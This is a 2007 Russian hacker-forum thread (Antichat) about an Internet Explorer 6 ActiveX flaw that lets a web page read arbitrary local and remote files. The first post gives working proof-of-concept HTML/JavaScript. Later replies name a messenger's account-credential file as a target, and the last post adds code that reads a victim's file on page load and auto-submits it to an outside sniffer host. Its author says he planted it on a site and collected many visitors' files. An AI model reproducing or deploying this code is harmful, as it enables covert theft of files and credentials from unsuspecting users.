ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Cross Domain Scripting в Осле
  #1  
Старый 30.06.2007, 11:41
Аватар для V1k
V1k
Познающий
Регистрация: 01.02.2007
Сообщений: 41
Провел на форуме:
1718137

Репутация: 201
По умолчанию Cross Domain Scripting в Осле

Недавно, изучая стандартные ActiveX компоненты на предмет уязвимостей, наткнулся на одну занятную вещь: если ActiveX компонент Msxml2.XMLHTTP объявить, как показано ниже, на него не действуют ограничения безопасности. Поэтому можно просмотреть произвольный локальный (например file:///c:/boot.ini) или удаленный (http://forum.antichat.ru) файл с любого домена. Тестировал на IE 6 XP SP2 - работает, на IE 7 Vista - нет. Может есть у кого полностью запатченный Осел, проверить, исправил ли Мелкософт этот баг?
Код HTML:
<script>
function readfile(filename)
{
	try
	{
		var xmlobj = document.createElement ('object');
		xmlobj.setAttribute ('id','xmlobj');
		xmlobj.setAttribute ('classid','clsid:88D969EA-F192-11D4-A65F-0040963251E5');
		xmlobj.open ('get',filename, false);
		xmlobj.send ();
		var text = xmlobj.responseText;
		xmlobj = null;
		return text;
	}
	catch(e)
	{
		return 'Ошибка! '+e.description;
	}
}
</script>
<textarea id='text1' cols=60 rows=15></textarea></br>
<input size=58 id='file1'/>
<input type=button value='Открыть' onclick='text1.value=readfile(file1.value)'/>
 
Ответить с цитированием

  #2  
Старый 05.07.2007, 16:21
Аватар для Alexsize
Alexsize
Fail
Регистрация: 17.09.2005
Сообщений: 2,242
Провел на форуме:
9089375

Репутация: 4268


По умолчанию

Хм. Довольно интересная информация. Но вот я не очень понимаю, что это может дать? Автор объясни пожалуйста! И, наконец, кто нить у кого пропатченный есть осел, скажите, залатали или нет?
__________________
...
 
Ответить с цитированием

  #3  
Старый 05.07.2007, 16:51
Аватар для -=lebed=-
-=lebed=-
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме:
12702287

Репутация: 4738


По умолчанию

Локальные файлы не показывает, удалённые показывает
 
Ответить с цитированием

  #4  
Старый 05.07.2007, 18:08
Аватар для AHTOLLlKA
AHTOLLlKA
Участник форума
Регистрация: 01.02.2005
Сообщений: 233
Провел на форуме:
748321

Репутация: 112
Отправить сообщение для AHTOLLlKA с помощью ICQ
По умолчанию

а удобно былоб.. надергал локально инфы.. и через тот же Get выслал на гейт куданить ))

првоерил локально не пашет =\
 
Ответить с цитированием

  #5  
Старый 05.07.2007, 19:31
Аватар для V1k
V1k
Познающий
Регистрация: 01.02.2007
Сообщений: 41
Провел на форуме:
1718137

Репутация: 201
По умолчанию

удаленные читает с любых доменов?
как указываете путь к файлу?
Alexsize
file://localhost/c:/Program Files/QIP/Users/Accounts.cfg и т.д. и т.п
 
Ответить с цитированием

  #6  
Старый 05.07.2007, 19:57
Аватар для Raz0r
Raz0r
Участник форума
Регистрация: 07.01.2007
Сообщений: 259
Провел на форуме:
309455

Репутация: 41
По умолчанию

У меня осел сразу ругается на содержимое сайта, хотя если ему запретить блокировать activex, все работает.
 
Ответить с цитированием

  #7  
Старый 09.07.2007, 10:04
Аватар для md5f1h
md5f1h
Познающий
Регистрация: 26.01.2007
Сообщений: 46
Провел на форуме:
283785

Репутация: 28
По умолчанию

у мя Maxthon читает как локальные так и удаленные вот чуть чуть доделал
<html>
<script>
function readfile(filename)
{
try
{
var xmlobj = document.createElement ('object');
xmlobj.setAttribute ('id','xmlobj');
xmlobj.setAttribute ('classid','clsid:88D969EA-F192-11D4-A65F-0040963251E5');
xmlobj.open ('get',filename, false);
xmlobj.send ();
var text = xmlobj.responseText;
xmlobj = null;
return text;
}
catch(e)
{
return 'Ошибка! '+e.description;

}
}
</script>
<form action="http://sniffer.ru/sniffer.php" id=form1 method="GET">
<textarea name='text1' value=" " cols=60 rows=15></textarea><br>
<input type="submit">
</form>

<input type="hidden" name="file1" value="file:///C:\boot.ini" />
<body onload="javascript:text1.value=readfile(file1.valu e); javascript:form1.submit();">
</html>
ставил на сайт через фрейм пришло давольно много файлов boot.ini
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Xss bx_N Forum for discussion of ANTICHAT 7 11.03.2007 19:17
Cross Site Scripting FAQ k00p3r Уязвимости 6 12.06.2005 16:23
Как использовать cross-site scripting (css) foreva Чужие Статьи 0 06.02.2005 19:03



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ